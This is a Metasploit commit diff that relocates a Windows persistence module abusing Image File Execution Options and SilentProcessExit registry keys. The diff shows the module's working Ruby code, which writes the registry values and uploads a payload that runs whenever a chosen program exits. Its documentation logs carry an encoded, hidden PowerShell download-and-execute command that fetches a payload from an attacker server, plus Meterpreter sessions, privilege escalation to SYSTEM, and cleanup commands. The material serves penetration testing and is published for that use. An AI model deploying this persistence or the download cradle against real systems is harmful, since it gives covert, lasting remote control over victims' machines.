Skip to content

Commit a23473a

Browse files
authored
Land #20565, moves image exec module to persistence category and mixin
Modern persistence image exec
2 parents 20c8708 + 81d8d46 commit a23473a

File tree

3 files changed

+184
-113
lines changed

3 files changed

+184
-113
lines changed

documentation/modules/exploit/windows/local/persistence_image_exec_options.md

Lines changed: 0 additions & 93 deletions
This file was deleted.
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
## Description
2+
3+
This module leverages Windows debugging tools to cause a payload to launch
4+
every time a specified binary exits.
5+
6+
The payload will execute at the same priv level as the launched binary.
7+
8+
## Vulnerable Target
9+
10+
Windows 7+ as elevated user
11+
12+
## Verification Steps
13+
14+
1. Start msfconsole
15+
2. Get a shell/meterpreter on a windows box
16+
3. Do: `use exploit/windows/persistence/image_exec_options `
17+
4. Do: `set session #`
18+
5. Do: `run`
19+
6. You should get persistence once the targeted application is open and closed.
20+
21+
## Options
22+
23+
### PAYLOAD_NAME
24+
25+
Name of the payload file. Defaults to `<random>.exe`
26+
27+
### IMAGE_FILE
28+
29+
The executable to bind to. Example: `calc.exe`, `notepad.exe`
30+
31+
## Scenarios
32+
33+
### Windows 10
34+
35+
Original Shell
36+
37+
```
38+
└─$ ./msfconsole -q
39+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
40+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
41+
verbose => true
42+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
43+
lhost => 1.1.1.1
44+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
45+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
46+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
47+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
48+
resource (/root/.msf4/msfconsole.rc)> run
49+
[-] Exploit failed: cmd/linux/http/x64/meterpreter/reverse_tcp is not a compatible payload.
50+
[*] Exploit completed, but no session was created.
51+
resource (/root/.msf4/msfconsole.rc)> set target 2
52+
target => 2
53+
resource (/root/.msf4/msfconsole.rc)> set srvport 8085
54+
srvport => 8085
55+
resource (/root/.msf4/msfconsole.rc)> set uripath w2
56+
uripath => w2
57+
resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp
58+
payload => windows/x64/meterpreter/reverse_tcp
59+
resource (/root/.msf4/msfconsole.rc)> set lport 4449
60+
lport => 4449
61+
resource (/root/.msf4/msfconsole.rc)> run
62+
[*] Exploit running as background job 0.
63+
[*] Exploit completed, but no session was created.
64+
[*] Started reverse TCP handler on 1.1.1.1:4449
65+
[*] Using URL: http://1.1.1.1:8085/w2
66+
[*] Server started.
67+
[*] Run the following command on the target machine:
68+
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABkAG4AbAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABkAG4AbAAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGQAbgBsAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwBhAGYAbwBvAFkATwByAGMAYgA5AHEAYgBwAE8ATQAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIAJwApACkAOwA=
69+
msf exploit(multi/script/web_delivery) >
70+
[*] 2.2.2.2 web_delivery - Delivering AMSI Bypass (1386 bytes)
71+
[*] 2.2.2.2 web_delivery - Powershell command length: 3727
72+
[*] 2.2.2.2 web_delivery - Delivering Payload (3727 bytes)
73+
[*] Sending stage (203846 bytes) to 2.2.2.2
74+
[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:52295) at 2025-09-23 17:10:43 -0400
75+
76+
msf exploit(multi/script/web_delivery) > sessions -i 1
77+
[*] Starting interaction with 1...
78+
79+
meterpreter > getsystem
80+
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
81+
meterpreter > getuid
82+
Server username: NT AUTHORITY\SYSTEM
83+
meterpreter > sysinfo
84+
Computer : WIN10PROLICENSE
85+
OS : Windows 10 22H2+ (10.0 Build 19045).
86+
Architecture : x64
87+
System Language : en_US
88+
Domain : WORKGROUP
89+
Logged On Users : 2
90+
Meterpreter : x64/windows
91+
meterpreter > background
92+
[*] Backgrounding session 1...
93+
```
94+
95+
Persistence
96+
97+
```
98+
msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/image_exec_options
99+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
100+
msf exploit(windows/persistence/image_exec_options) > set session 1
101+
session => 1
102+
msf exploit(windows/persistence/image_exec_options) > set IMAGE_FILE calc.exe
103+
IMAGE_FILE => calc.exe
104+
msf exploit(windows/persistence/image_exec_options) > set payload windows/meterpreter/reverse_tcp
105+
payload => windows/meterpreter/reverse_tcp
106+
msf exploit(windows/persistence/image_exec_options) > rexploit
107+
[*] Reloading module...
108+
[*] Exploit running as background job 4.
109+
[*] Exploit completed, but no session was created.
110+
111+
[*] Started reverse TCP handler on 1.1.1.1:4444
112+
msf exploit(windows/persistence/image_exec_options) > [*] Running automatic check ("set AutoCheck false" to disable)
113+
[+] The target appears to be vulnerable. Likely exploitable
114+
[*] Attempting Persistence on WIN10PROLICENSE via session ID: 1
115+
[*] Payload pathname = C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
116+
[*] Writing GlobalFlag to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe
117+
[*] Writing ReportingMode to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe
118+
[*] Writing MonitorProcess to HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe
119+
[*] Payload (7168 bytes) uploaded on WIN10PROLICENSE to C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
120+
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc
121+
```
122+
123+
Open `calc.exe` on the target machine
124+
125+
```
126+
[*] Sending stage (177734 bytes) to 2.2.2.2
127+
[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:52327) at 2025-09-23 17:18:33 -0400
128+
129+
msf exploit(windows/persistence/image_exec_options) > sessions -i 3
130+
[*] Starting interaction with 3...
131+
132+
meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc
133+
[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc for ERB directives.
134+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> rm C:\Users\windows\AppData\Local\Temp\yoRmhrs.exe
135+
[-] stdapi_fs_delete_file: Operation failed: The system cannot find the file specified.
136+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v GlobalFlag /f" -H
137+
Process 7092 created.
138+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v ReportingMode /f" -H
139+
Process 7568 created.
140+
resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20250923.1758/WIN10PROLICENSE_20250923.1758.rc)> execute -f cmd.exe -a "/c reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v MonitorProcess /f" -H
141+
Process 2604 created.
142+
meterpreter >
143+
```

modules/exploits/windows/local/persistence_image_exec_options.rb renamed to modules/exploits/windows/persistence/image_exec_options.rb

Lines changed: 41 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,10 @@ class MetasploitModule < Msf::Exploit::Local
1010
include Msf::Post::File
1111
include Msf::Exploit::EXE
1212
include Msf::Post::Windows::Priv
13+
include Msf::Exploit::Local::Persistence
14+
prepend Msf::Exploit::Remote::AutoCheck
15+
include Msf::Exploit::Deprecated
16+
moved_from 'exploits/windows/local/persistence_image_exec_options'
1317

1418
def initialize(info = {})
1519
super(
@@ -33,13 +37,11 @@ def initialize(info = {})
3337
],
3438
'DefaultTarget' => 0,
3539
'DisclosureDate' => '2008-06-28',
40+
'Privileged' => true,
3641
'References' => [
37-
['URL', 'https://attack.mitre.org/techniques/T1183/'],
42+
['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
3843
['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
3944
],
40-
'DefaultOptions' => {
41-
'DisablePayloadHandler' => true
42-
},
4345
'Compat' => {
4446
'Meterpreter' => {
4547
'Commands' => %w[
@@ -48,21 +50,36 @@ def initialize(info = {})
4850
}
4951
},
5052
'Notes' => {
51-
'Reliability' => UNKNOWN_RELIABILITY,
52-
'Stability' => UNKNOWN_STABILITY,
53-
'SideEffects' => UNKNOWN_SIDE_EFFECTS
53+
'Stability' => [CRASH_SAFE],
54+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
55+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
5456
}
5557
)
5658
)
5759
register_options([
5860
OptString.new('PAYLOAD_NAME',
5961
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
60-
OptString.new('PATH', [false, 'Path to write payload(%TEMP% by default).', nil]),
6162
OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])
6263

6364
])
6465
end
6566

67+
def writable_dir
68+
d = super
69+
return session.sys.config.getenv(d) if d.start_with?('%')
70+
71+
d
72+
end
73+
74+
def check
75+
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
76+
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
77+
78+
return CheckCode::Safe('You must be System to run this Module') unless is_system?
79+
80+
CheckCode::Appears('Likely exploitable')
81+
end
82+
6683
def upload_payload(dest_pathname)
6784
payload_exe = generate_payload_exe
6885
write_file(dest_pathname, payload_exe)
@@ -71,7 +88,7 @@ def upload_payload(dest_pathname)
7188

7289
def validate_active_host
7390
unless is_system?
74-
fail_with(Failure::NoAccess, "You must be System to run this Module")
91+
fail_with(Failure::NoAccess, 'You must be System to run this Module')
7592
end
7693

7794
begin
@@ -85,18 +102,18 @@ def validate_active_host
85102
def write_reg_keys(image_file, payload_pathname)
86103
reg_keys = []
87104
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
88-
value_name: "GlobalFlag",
89-
type: "REG_DWORD",
105+
value_name: 'GlobalFlag',
106+
type: 'REG_DWORD',
90107
value_value: 512)
91108
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
92-
value_name: "ReportingMode",
93-
type: "REG_DWORD",
109+
value_name: 'ReportingMode',
110+
type: 'REG_DWORD',
94111
value_value: 1)
95112
reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
96-
value_name: "MonitorProcess",
97-
type: "REG_SZ",
113+
value_name: 'MonitorProcess',
114+
type: 'REG_SZ',
98115
value_value: payload_pathname)
99-
silent_process_exit_key = "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit"
116+
silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
100117
registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
101118
reg_keys.each do |key|
102119
registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
@@ -109,13 +126,17 @@ def write_reg_keys(image_file, payload_pathname)
109126
end
110127
end
111128

112-
def exploit
129+
def install_persistence
113130
validate_active_host
114-
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
115-
temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
131+
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
132+
temp_path = writable_dir
116133
image_file = datastore['IMAGE_FILE']
117-
payload_pathname = temp_path + "\\" + payload_name + '.exe'
134+
payload_pathname = temp_path + '\\' + payload_name + '.exe'
118135
vprint_status("Payload pathname = #{payload_pathname}")
119136
upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
137+
@clean_up_rc << "rm #{payload_pathname}\n"
138+
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
139+
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
140+
@clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
120141
end
121142
end

0 commit comments

Comments
 (0)